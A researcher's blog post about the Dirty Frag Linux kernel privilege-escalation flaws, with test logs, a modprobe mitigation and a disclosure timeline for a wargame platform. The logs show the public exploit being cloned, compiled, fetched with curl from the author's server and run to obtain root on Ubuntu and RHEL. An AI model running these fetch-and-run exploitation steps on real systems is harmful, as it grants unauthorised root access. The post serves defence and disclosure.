Current Status

• Status as of 2026-05-10: Official patches have been merged into the kernel mainline; official repository updates are pending.

  • CVE-2026-43500: Patched in aa54b1d27fe0.

• Status as of 2026-05-08: Systems remain vulnerable in default configurations.
  Pre-disclosure of exploit details occurred on the linux-distros mailing list—full exploit code was publicized before vendors like Canonical or Red Hat released official security patches.

  • CVE-2026-43284: Mainline patch available (f4c50a4034e6).
  • CVE-2026-43500: Reserved, no patch available in any kernel branch.

The content provided in this article is for educational purposes only. The author is not responsible for any misuse of the information presented.

Introduction

Dirty Frag (CVE-2026-43284, CVE-2026-43500) is the direct successor to the Dirty Pipe (CVE-2022-0847) vulnerability and the recent Copy Fail (CVE-2026-31431).

Discovered by researcher V4bel, Dirty Frag is a Local Privilege Escalation (LPE) vulnerability. It is particularly dangerous because, unlike many modern exploits, it does not rely on unstable race conditions or memory corruption. This results in nearly 100% reliability on vulnerable systems.

Dirty Frag is a logic error in the networking subsystem. It abuses the skb_shared_info mechanism to trick the kernel into granting write access directly to the Page Cache. This allows an attacker to overwrite any file on the disk, such as /etc/shadow.

Information Source

I learned about the existence of Dirty Frag from an official Polish CERT security advisory:

Given the nature of the vulnerability and the lack of available patches at the time, I proceeded to verify the flaw on the systems I manage and use.

Exploit Analysis

To analyze the Dirty Frag exploit, I used two virtual machines:

• Ubuntu 24.04 LTS, kernel: 6.8.0-111-generic
• RHEL 10.1, kernel: 6.12.0-124.8.1.el10_1.x86_64

I began by cloning the repository and compiling the exp binary:

kmichalowski@dirtyfrag:~$ git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil
Cloning into 'dirtyfrag'...
remote: Enumerating objects: 46, done.
remote: Counting objects: 100% (12/12), done.
remote: Compressing objects: 100% (8/8), done.
remote: Total 46 (delta 5), reused 4 (delta 4), pack-reused 34 (from 1)
Receiving objects: 100% (46/46), 5.83 MiB | 16.58 MiB/s, done.
Resolving deltas: 100% (15/15), done.
kmichalowski@dirtyfrag:~/dirtyfrag$ ll
total 156
drwxrwxr-x 4 kmichalowski kmichalowski  4096 May  8 21:07 ./
drwxr-x--- 5 kmichalowski kmichalowski  4096 May  8 21:07 ../
drwxrwxr-x 2 kmichalowski kmichalowski  4096 May  8 21:07 assets/
-rwxrwxr-x 1 kmichalowski kmichalowski 62320 May  8 21:07 exp*
-rw-rw-r-- 1 kmichalowski kmichalowski 67803 May  8 21:07 exp.c
drwxrwxr-x 8 kmichalowski kmichalowski  4096 May  8 21:07 .git/
-rw-rw-r-- 1 kmichalowski kmichalowski  4995 May  8 21:07 README.md
kmichalowski@dirtyfrag:~/dirtyfrag$

I hosted the compiled exp binary on my own CDN server, allowing for rapid distribution and testing across multiple machines.

Next, I proceeded with the actual exploitation. I first tested Ubuntu:

kmichalowski@dirtyfrag:~$ mkdir dirtyfrag && cd dirtyfrag
kmichalowski@dirtyfrag:~/dirtyfrag$ curl -O https://cdn.kubamichalowski.pl/share/exp
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 62320  100 62320    0     0   680k      0 --:--:-- --:--:-- --:--:--  676k
kmichalowski@dirtyfrag:~/dirtyfrag$ ll
total 72
drwxrwxr-x 2 kmichalowski kmichalowski  4096 May  8 21:12 ./
drwxr-x--- 5 kmichalowski kmichalowski  4096 May  8 21:12 ../
-rw-rw-r-- 1 kmichalowski kmichalowski 62320 May  8 21:12 exp
kmichalowski@dirtyfrag:~/dirtyfrag$ chmod +x exp
kmichalowski@dirtyfrag:~/dirtyfrag$ ./exp
root@dirtyfrag:~# id
uid=0(root) gid=0(root) groups=0(root)
root@dirtyfrag:~#

Within seconds, I had full root access.

Then I verified the exploit on RHEL:

[kmichalowski@localhost ~]$ mkdir dirtyfrag && cd dirtyfrag
[kmichalowski@localhost dirtyfrag]$ curl -O https://cdn.kubamichalowski.pl/share/exp
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 62320  100 62320    0     0  1030k      0 --:--:-- --:--:-- --:--:-- 1049k
[kmichalowski@localhost dirtyfrag]$ ll
total 64
-rw-r--r--. 1 kmichalowski kmichalowski 62320 May  8 23:15 exp
[kmichalowski@localhost dirtyfrag]$ chmod +x exp
[kmichalowski@localhost dirtyfrag]$ ./exp
[root@localhost dirtyfrag]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[root@localhost dirtyfrag]#

In this case, the process took slightly longer, but full root access was successfully achieved.

I also tested the Breachlab.org platform environment:

ghost0@breachlab:~$ mkdir dirtyfrag && cd dirtyfrag
ghost0@breachlab:~/dirtyfrag$ curl -O https://cdn.kubamichalowski.pl/share/exp
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 62320  100 62320    0     0   206k      0 --:--:-- --:--:-- --:--:--  207k
ghost0@breachlab:~/dirtyfrag$ ll
total 76
drwxrwxr-x 2 ghost0 ghost0  4096 May  8 21:18 ./
drwx------ 1 ghost0 ghost0  4096 May  8 21:18 ../
-rw-rw-r-- 1 ghost0 ghost0 62320 May  8 21:18 exp
ghost0@breachlab:~/dirtyfrag$ chmod +x exp
ghost0@breachlab:~/dirtyfrag$ ./exp
dirtyfrag: failed (rc=3)
ghost0@breachlab:~/dirtyfrag$ systemd-detect-virt
Docker
ghost0@breachlab:~/dirtyfrag$

The exploit failed here because the systems in this wargame are isolated Docker containers.

Interesting Fun Fact

On the RHEL system, the exploit cleared the $PATH variable so thoroughly that the reboot command (an alias for systemctl reboot) failed.

[root@localhost dirtyfrag]# reboot
bash: reboot: command not found
[root@localhost dirtyfrag]# systemctl reboot
 
Broadcast message from root@localhost on pts/1 (Fri 2026-05-08 23:53:57 CEST):
 
The system will reboot now!

Mitigation

Currently, official distribution repositories have not yet provided patched kernel versions. Therefore, the only effective protection is disabling the vulnerable kernel modules (esp4, esp6, rxrpc). Following official recommendations, I executed the following command to block the modules:

sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; echo 3 > /proc/sys/vm/drop_caches; true"

This created /etc/modprobe.d/dirtyfrag.conf, preventing the modules from being loaded:

install esp4 /bin/false
install esp6 /bin/false
install rxrpc /bin/false

Reporting to Breachlab.org

Immediately after confirming the exploit's effectiveness on my test machines, I reported the vulnerability to the owner of Breachlab.org. I noted that while the exploit did not work directly within the challenge containers, the host system itself might remain vulnerable.

Events Timeline

1. 22:46 - Received advisory from CERT Polska.
2. ~23:00 - Began analysis.
3. 23:16 - Submitted initial report with the exp binary for reproduction.
4. 23:33 - Clarified why the exploit likely failed within the containers.
5. 23:47 - Confirmed mitigation effectiveness on my end.

kmichalowski@dirtyfrag:~/dirtyfrag$ ./exp
dirtyfrag: failed (rc=1)

6. 00:37 - Administrator confirmed the vulnerability and my containerization theories.
7. 02:43 – Administrator deployed the suggested mitigation on production infrastructure.

Due to my rapid response and provided solution, the platform was secured before the official release of vendor patches.

My contribution was recognized in the Hall of Fame, and the report was assigned a Severity: HIGH status:

Summary

The Dirty Frag incident teaches several vital lessons:

1. Defense in Depth is essential: Testing on Breachlab.org proved that proper container isolation can stop even highly reliable exploits.
2. Response Time is critical: In a 0-day world where official patches may lag by days, the ability to perform independent analysis and deploy stopgap mitigations is critical for infrastructure security.
3. Responsible Disclosure: Proactive communication with administrators and providing ready-to-use mitigations is the foundation of ethical hacking, raising the security bar for the entire ecosystem.